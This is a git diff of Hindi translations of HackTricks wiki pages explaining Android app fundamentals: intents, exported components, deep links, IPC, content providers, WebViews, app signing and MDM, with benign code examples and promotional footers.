एंड्रॉइड घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट नहीं करते हैं। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** attribute को **`false`** पर सेट करके प्राप्त किया जाता है।
|
||||
|
||||
इसके अलावा, डेवलपर्स के पास इन घटकों तक पहुंच को और सुरक्षित करने का विकल्प होता है, विशेष अनुमतियों की आवश्यकता करके। **`permission`** attribute को सेट किया जा सकता है ताकि केवल उन ऐप्स को अनुमति दी जा सके जिनके पास निर्दिष्ट अनुमति है, जो सुरक्षा और नियंत्रण की एक अतिरिक्त परत जोड़ता है कि कौन इसके साथ इंटरैक्ट कर सकता है।
|
||||
```java
|
||||
|
@ -150,7 +142,7 @@ Intent Filters श्रेणियों, क्रियाओं और ड
|
|||
```
|
||||
### Implicit Intents
|
||||
|
||||
Intents को Intent कंस्ट्रक्टर का उपयोग करके प्रोग्रामेटिक रूप से बनाया जाता है:
|
||||
इंटेंट्स को एक इंटेंट कंस्ट्रक्टर का उपयोग करके प्रोग्रामेटिकली बनाया जाता है:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
|
@ -167,7 +159,7 @@ The **Action** of the previously declared intent is **ACTION\_SEND** and the **E
|
|||
```
|
||||
An intent-filter को संदेश प्राप्त करने के लिए **action**, **data** और **category** से मेल खाना चाहिए।
|
||||
|
||||
"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला** चयनित होगा। यह प्राथमिकता -1000 और 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि कोई **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**।
|
||||
"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला** चयनित होगा। यह प्राथमिकता -1000 और 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**।
|
||||
|
||||
### Explicit Intents
|
||||
|
||||
|
@ -183,30 +175,30 @@ context.startService(intent);
|
|||
```
|
||||
### Pending Intents
|
||||
|
||||
ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो **एक दुर्भावनापूर्ण अनुप्रयोग घोषित क्रिया को** पीड़ित ऐप की ओर से कर सकता है। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुर्भावनापूर्ण ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**।
|
||||
ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और प्रदर्शन करने के लिए क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो एक **दुष्ट अनुप्रयोग घोषित क्रिया को पीड़ित ऐप की ओर से प्रदर्शन कर सकता है**। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुष्ट ऐप **पीड़ित की ओर से कोई भी क्रिया करने में सक्षम होगा**।
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
पिछले इरादों के विपरीत, जो केवल एक ऐप द्वारा प्राप्त होते हैं, ब्रॉडकास्ट इरादे **कई ऐप द्वारा प्राप्त किए जा सकते हैं**। हालाँकि, API संस्करण 14 से, यह **संदेश प्राप्त करने वाले ऐप को निर्दिष्ट करना संभव है** Intent.set Package का उपयोग करके।
|
||||
पिछले इरादों के विपरीत, जो केवल एक ऐप द्वारा प्राप्त होते हैं, ब्रॉडकास्ट इरादे **कई ऐप द्वारा प्राप्त किए जा सकते हैं**। हालाँकि, API संस्करण 14 से, यह **संकेतित करना संभव है कि कौन सा ऐप संदेश प्राप्त करना चाहिए** Intent.set Package का उपयोग करके।
|
||||
|
||||
वैकल्पिक रूप से, ब्रॉडकास्ट भेजते समय **एक अनुमति निर्दिष्ट करना भी संभव है**। रिसीवर ऐप को उस अनुमति की आवश्यकता होगी।
|
||||
|
||||
ब्रॉडकास्ट के **दो प्रकार** होते हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को प्रोसेस, रिले या ड्रॉप कर सकता है।**
|
||||
ब्रॉडकास्ट के **दो प्रकार** हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को संसाधित, पुनः प्रसारित या छोड़ सकता है।**
|
||||
|
||||
आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेजना** संभव है।\
|
||||
आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं जो सुनिश्चित करता है कि **संदेश कभी भी ऐप से बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी।
|
||||
आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **एक ब्रॉडकास्ट भेज सकते हैं**।\
|
||||
आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं जो सुनिश्चित करता है कि **संदेश ऐप से कभी बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी।
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी एक्सेस किए जा सकते हैं**।\
|
||||
इनका उपयोग API स्तर 21 में बंद कर दिया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\
|
||||
इस प्रकार के ब्रॉडकास्ट **उनके भेजे जाने के लंबे समय बाद भी पहुंचा जा सकता है**।\
|
||||
इनका API स्तर 21 में निराधारित किया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\
|
||||
**ये किसी भी अनुप्रयोग को डेटा को स्निफ़ करने, बल्कि इसे संशोधित करने की अनुमति देते हैं।**
|
||||
|
||||
यदि आप "sticky" शब्द वाले फ़ंक्शंस जैसे **`sendStickyBroadcast`** या **`sendStickyBroadcastAsUser`** पाते हैं, तो **प्रभाव की जांच करें और उन्हें हटाने का प्रयास करें**।
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
Android अनुप्रयोगों में, **डीप लिंक** का उपयोग एक क्रिया (Intent) को सीधे एक URL के माध्यम से प्रारंभ करने के लिए किया जाता है। यह एक गतिविधि के भीतर एक विशिष्ट **URL स्कीम** घोषित करके किया जाता है। जब एक Android डिवाइस इस स्कीम के साथ **एक URL तक पहुँचने की कोशिश करता है**, तो अनुप्रयोग के भीतर निर्दिष्ट गतिविधि लॉन्च होती है।
|
||||
Android अनुप्रयोगों में, **डीप लिंक** का उपयोग एक क्रिया (Intent) को सीधे एक URL के माध्यम से आरंभ करने के लिए किया जाता है। यह एक गतिविधि के भीतर एक विशिष्ट **URL स्कीम** घोषित करके किया जाता है। जब एक Android डिवाइस **इस स्कीम के साथ एक URL तक पहुँचने की कोशिश करता है**, तो अनुप्रयोग के भीतर निर्दिष्ट गतिविधि लॉन्च होती है।
|
||||
|
||||
स्कीम को **`AndroidManifest.xml`** फ़ाइल में घोषित किया जाना चाहिए:
|
||||
```xml
|
||||
|
@ -247,7 +239,7 @@ The **Android Interface Definition Language (AIDL)** is designed for facilitatin
|
|||
|
||||
- **Messenger**: एक बंधी सेवा के रूप में कार्य करते हुए, Messenger IPC को सुविधाजनक बनाता है, जो `onBind` विधि के माध्यम से डेटा को संसाधित करने पर ध्यान केंद्रित करता है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि का ध्यानपूर्वक निरीक्षण करना आवश्यक है।
|
||||
|
||||
- **Binder**: हालांकि AIDL के अमूर्तता के कारण Binder वर्ग का प्रत्यक्ष उपयोग कम सामान्य है, यह समझना फायदेमंद है कि Binder विभिन्न प्रक्रियाओं की मेमोरी स्थानों के बीच डेटा स्थानांतरण को सुविधाजनक बनाने वाला एक कर्नेल-स्तरीय ड्राइवर के रूप में कार्य करता है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder**: हालांकि Binder वर्ग का प्रत्यक्ष उपयोग AIDL के अमूर्तता के कारण कम सामान्य है, यह समझना फायदेमंद है कि Binder विभिन्न प्रक्रियाओं की मेमोरी स्थानों के बीच डेटा स्थानांतरण को सुविधाजनक बनाने वाला एक कर्नेल-स्तरीय ड्राइवर है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Components
|
||||
|
||||
|
@ -266,9 +258,9 @@ The **launcher activity** is the main gateway to an app, launched when you tap t
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Not all apps need a launcher activity, especially those without a user interface, like background services.
|
||||
नहीं सभी ऐप्स को एक लॉन्चर गतिविधि की आवश्यकता होती है, विशेष रूप से वे जो उपयोगकर्ता इंटरफ़ेस के बिना होते हैं, जैसे बैकग्राउंड सेवाएँ।
|
||||
|
||||
Activities can be made available to other apps or processes by marking them as "exported" in the manifest. This setting allows other apps to start this activity:
|
||||
गतिविधियों को अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है, उन्हें मैनिफेस्ट में "निर्यातित" के रूप में चिह्नित करके। यह सेटिंग अन्य ऐप्स को इस गतिविधि को शुरू करने की अनुमति देती है:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -298,7 +290,7 @@ super.onCreate();
|
|||
|
||||
[Services](https://developer.android.com/guide/components/services) **पृष्ठभूमि ऑपरेटिव्स** हैं जो बिना उपयोगकर्ता इंटरफ़ेस के कार्यों को निष्पादित करने में सक्षम हैं। ये कार्य तब भी चलते रह सकते हैं जब उपयोगकर्ता विभिन्न अनुप्रयोगों में स्विच करते हैं, जिससे सेवाएँ **दीर्घकालिक संचालन** के लिए महत्वपूर्ण हो जाती हैं।
|
||||
|
||||
सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से आरंभ किया जा सकता है, जिसमें **Intents** मुख्य विधि है जो उन्हें एक अनुप्रयोग के प्रवेश बिंदु के रूप में लॉन्च करती है। एक बार जब `startService` विधि का उपयोग करके एक सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो `bindService` विधि का उपयोग क्लाइंट को सेवा से जोड़ने के लिए किया जाता है, डेटा पास करने के लिए `onBind` विधि को सक्रिय करते हुए।
|
||||
सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से आरंभ किया जा सकता है, जिसमें **Intents** मुख्य विधि है जो उन्हें एक अनुप्रयोग के प्रवेश बिंदु के रूप में लॉन्च करने के लिए उपयोग की जाती है। एक बार जब `startService` विधि का उपयोग करके एक सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो `bindService` विधि का उपयोग क्लाइंट को सेवा से जोड़ने के लिए किया जाता है, डेटा पास करने के लिए `onBind` विधि को सक्रिय करते हुए।
|
||||
|
||||
सेवाओं का एक दिलचस्प अनुप्रयोग पृष्ठभूमि संगीत प्लेबैक या नेटवर्क डेटा फ़ेचिंग शामिल है, जो उपयोगकर्ता के ऐप के साथ इंटरैक्शन को बाधित किए बिना होता है। इसके अलावा, सेवाओं को **निर्यात** करके एक ही डिवाइस पर अन्य प्रक्रियाओं के लिए सुलभ बनाया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest फ़ाइल में स्पष्ट कॉन्फ़िगरेशन की आवश्यकता होती है:
|
||||
```xml
|
||||
|
@ -306,11 +298,11 @@ super.onCreate();
|
|||
```
|
||||
### Broadcast Receivers
|
||||
|
||||
**Broadcast receivers** एक मैसेजिंग सिस्टम में लिस्नर्स के रूप में कार्य करते हैं, जिससे कई एप्लिकेशन सिस्टम से समान संदेशों का जवाब दे सकते हैं। एक ऐप **दो प्रमुख तरीकों** से **एक रिसीवर** को **रजिस्टर** कर सकता है: ऐप के **Manifest** के माध्यम से या ऐप के कोड में **`registerReceiver`** API के माध्यम से **डायनामिकली**। Manifest में, ब्रॉडकास्ट को अनुमतियों के साथ फ़िल्टर किया जाता है, जबकि डायनामिकली रजिस्टर किए गए रिसीवर रजिस्ट्रेशन के समय अनुमतियों को भी निर्दिष्ट कर सकते हैं।
|
||||
**Broadcast receivers** एक मैसेजिंग सिस्टम में श्रोता के रूप में कार्य करते हैं, जिससे कई एप्लिकेशन सिस्टम से समान संदेशों का जवाब दे सकते हैं। एक ऐप **दो मुख्य तरीकों** से **एक रिसीवर** को **रजिस्टर** कर सकता है: ऐप के **Manifest** के माध्यम से या ऐप के कोड में **`registerReceiver`** API के माध्यम से **डायनामिकली**। Manifest में, ब्रॉडकास्ट को अनुमतियों के साथ फ़िल्टर किया जाता है, जबकि डायनामिकली रजिस्टर किए गए रिसीवर रजिस्ट्रेशन के समय अनुमतियों को भी निर्दिष्ट कर सकते हैं।
|
||||
|
||||
**Intent filters** दोनों रजिस्ट्रेशन विधियों में महत्वपूर्ण हैं, यह निर्धारित करते हैं कि कौन से ब्रॉडकास्ट रिसीवर को ट्रिगर करते हैं। एक बार जब एक मेल खाने वाला ब्रॉडकास्ट भेजा जाता है, तो रिसीवर का **`onReceive`** मेथड सक्रिय होता है, जिससे ऐप को प्रतिक्रिया देने की अनुमति मिलती है, जैसे कि कम बैटरी अलर्ट के जवाब में व्यवहार को समायोजित करना।
|
||||
|
||||
ब्रॉडकास्ट **असिंक्रोनस** हो सकते हैं, जो सभी रिसीवर्स तक बिना क्रम के पहुँचते हैं, या **सिंक्रोनस**, जहाँ रिसीवर्स सेट प्राथमिकताओं के आधार पर ब्रॉडकास्ट प्राप्त करते हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि किसी भी ऐप को ब्रॉडकास्ट को इंटरसेप्ट करने के लिए खुद को प्राथमिकता देने का जोखिम होता है।
|
||||
ब्रॉडकास्ट **असिंक्रोनस** हो सकते हैं, जो सभी रिसीवर्स तक बिना क्रम के पहुँचते हैं, या **सिंक्रोनस**, जहाँ रिसीवर्स सेट प्राथमिकताओं के आधार पर ब्रॉडकास्ट प्राप्त करते हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि संभावित सुरक्षा जोखिम है, क्योंकि कोई भी ऐप खुद को प्राथमिकता देकर एक ब्रॉडकास्ट को इंटरसेप्ट कर सकता है।
|
||||
|
||||
एक रिसीवर की कार्यक्षमता को समझने के लिए, उसकी क्लास में **`onReceive`** मेथड की तलाश करें। इस मेथड का कोड प्राप्त Intent को संशोधित कर सकता है, जिससे रिसीवर्स द्वारा डेटा सत्यापन की आवश्यकता को उजागर किया जा सकता है, विशेष रूप से **Ordered Broadcasts** में, जो Intent को संशोधित या छोड़ सकते हैं।
|
||||
|
||||
|
@ -318,7 +310,7 @@ super.onCreate();
|
|||
|
||||
**Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें विस्तृत पहुँच नियंत्रण के लिए `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग किया जाता है।
|
||||
|
||||
इनपुट सत्यापन कमजोरियों को रोकने के लिए महत्वपूर्ण है, जैसे कि SQL इंजेक्शन। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो एप्लिकेशनों के बीच डेटा हेरफेर और साझा करने की सुविधा प्रदान करते हैं।
|
||||
इनपुट सत्यापन कमजोरियों को रोकने के लिए महत्वपूर्ण है, जैसे SQL इंजेक्शन। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो एप्लिकेशनों के बीच डेटा हेरफेर और साझा करने की सुविधा प्रदान करते हैं।
|
||||
|
||||
**FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है जो फ़ोल्डरों तक पहुँच को नियंत्रित करते हैं, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया जाता है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है।
|
||||
|
||||
|
@ -344,7 +336,7 @@ For further information check:
|
|||
|
||||
## WebViews
|
||||
|
||||
WebViews Android ऐप्स के अंदर **मिनी वेब ब्राउज़र** की तरह होते हैं, जो सामग्री को वेब या स्थानीय फ़ाइलों से खींचते हैं। इन्हें सामान्य ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से **इन जोखिमों को कम करने** के तरीके हैं।
|
||||
WebViews Android ऐप्स के अंदर **मिनी वेब ब्राउज़रों** की तरह होते हैं, जो सामग्री को वेब या स्थानीय फ़ाइलों से खींचते हैं। इन्हें नियमित ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से **इन जोखिमों को कम करने** के तरीके हैं।
|
||||
|
||||
Android दो मुख्य WebView प्रकार प्रदान करता है:
|
||||
|
||||
|
@ -366,15 +358,15 @@ JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के
|
|||
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Digital signing** Android ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करता है कि वे स्थापना से पहले **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और स्थापना के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित की जानी चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और यह सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे।
|
||||
- **Digital signing** Android ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करता है कि वे **प्रामाणिक रूप से लिखित** हैं इससे पहले कि उन्हें स्थापित किया जाए। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और इसे स्थापना के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित किया जाना चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे।
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- **Android 4.2** से शुरू होकर, **Verify Apps** नामक एक सुविधा उपयोगकर्ताओं को स्थापना से पहले ऐप्स की सुरक्षा की जांच करने की अनुमति देती है। यह **सत्यापन प्रक्रिया** उपयोगकर्ताओं को संभावित रूप से हानिकारक ऐप्स के खिलाफ चेतावनी दे सकती है, या यहां तक कि विशेष रूप से दुर्भावनापूर्ण ऐप्स की स्थापना को रोक सकती है, जिससे उपयोगकर्ता की सुरक्षा बढ़ती है।
|
||||
- **Android 4.2** से शुरू होकर, **Verify Apps** नामक एक सुविधा उपयोगकर्ताओं को ऐप्स की सुरक्षा की जांच करने की अनुमति देती है इससे पहले कि उन्हें स्थापित किया जाए। यह **सत्यापन प्रक्रिया** उपयोगकर्ताओं को संभावित रूप से हानिकारक ऐप्स के खिलाफ चेतावनी दे सकती है, या यहां तक कि विशेष रूप से दुर्भावनापूर्ण ऐप्स की स्थापना को रोक सकती है, उपयोगकर्ता सुरक्षा को बढ़ाती है।
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM समाधान** मोबाइल उपकरणों के लिए **निगरानी और सुरक्षा** प्रदान करते हैं **Device Administration API** के माध्यम से। उन्हें मोबाइल उपकरणों को प्रभावी ढंग से प्रबंधित और सुरक्षित करने के लिए एक Android ऐप की स्थापना की आवश्यकता होती है। मुख्य कार्यों में **पासवर्ड नीतियों को लागू करना**, **स्टोरेज एन्क्रिप्शन को अनिवार्य करना**, और **दूरस्थ डेटा मिटाने की अनुमति देना** शामिल है, जो मोबाइल उपकरणों पर व्यापक नियंत्रण और सुरक्षा सुनिश्चित करता है।
|
||||
- **MDM समाधान** मोबाइल उपकरणों के लिए **निगरानी और सुरक्षा** प्रदान करते हैं **Device Administration API** के माध्यम से। उन्हें मोबाइल उपकरणों को प्रभावी ढंग से प्रबंधित और सुरक्षित करने के लिए एक Android ऐप की स्थापना की आवश्यकता होती है। प्रमुख कार्यों में **पासवर्ड नीतियों को लागू करना**, **स्टोरेज एन्क्रिप्शन को अनिवार्य करना**, और **दूरस्थ डेटा मिटाने की अनुमति देना** शामिल है, जो मोबाइल उपकरणों पर व्यापक नियंत्रण और सुरक्षा सुनिश्चित करता है।
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -385,23 +377,17 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,43 +15,35 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## कार्य, बैक स्टैक और अग्रभूमि गतिविधियाँ
|
||||
|
||||
Android में, एक **कार्य** मूल रूप से गतिविधियों का एक सेट है जिसके साथ उपयोगकर्ता एक विशिष्ट कार्य पूरा करने के लिए बातचीत करते हैं, जो एक **बैक स्टैक** के भीतर व्यवस्थित होता है। यह स्टैक गतिविधियों को इस आधार पर क्रमबद्ध करता है कि उन्हें कब खोला गया था, सबसे हाल की गतिविधि शीर्ष पर **अग्रभूमि गतिविधि** के रूप में प्रदर्शित होती है। किसी भी समय, केवल यह गतिविधि स्क्रीन पर दिखाई देती है, जिससे यह **अग्रभूमि कार्य** का हिस्सा बन जाती है।
|
||||
Android में, एक **कार्य** मूल रूप से गतिविधियों का एक सेट है जिसके साथ उपयोगकर्ता एक विशिष्ट कार्य पूरा करने के लिए बातचीत करते हैं, जो एक **बैक स्टैक** के भीतर व्यवस्थित होता है। यह स्टैक गतिविधियों को इस आधार पर क्रमबद्ध करता है कि उन्हें कब खोला गया था, सबसे हाल की गतिविधि को शीर्ष पर **अग्रभूमि गतिविधि** के रूप में प्रदर्शित करता है। किसी भी समय, केवल यह गतिविधि स्क्रीन पर दिखाई देती है, जिससे यह **अग्रभूमि कार्य** का हिस्सा बन जाती है।
|
||||
|
||||
गतिविधि संक्रमण का त्वरित विश्लेषण यहाँ है:
|
||||
|
||||
* **गतिविधि 1** अग्रभूमि में एकमात्र गतिविधि के रूप में शुरू होती है।
|
||||
* **गतिविधि 2** लॉन्च करने से **गतिविधि 1** को बैक स्टैक में धकेल दिया जाता है, **गतिविधि 2** को अग्रभूमि में लाते हुए।
|
||||
* **गतिविधि 3** शुरू करने से **गतिविधि 1** और **गतिविधि 2** को स्टैक में और पीछे ले जाया जाता है, **गतिविधि 3** अब सामने होती है।
|
||||
* **गतिविधि 3** बंद करने से **गतिविधि 2** को फिर से अग्रभूमि में लाया जाता है, जो Android के सुव्यवस्थित कार्य नेविगेशन तंत्र को प्रदर्शित करता है।
|
||||
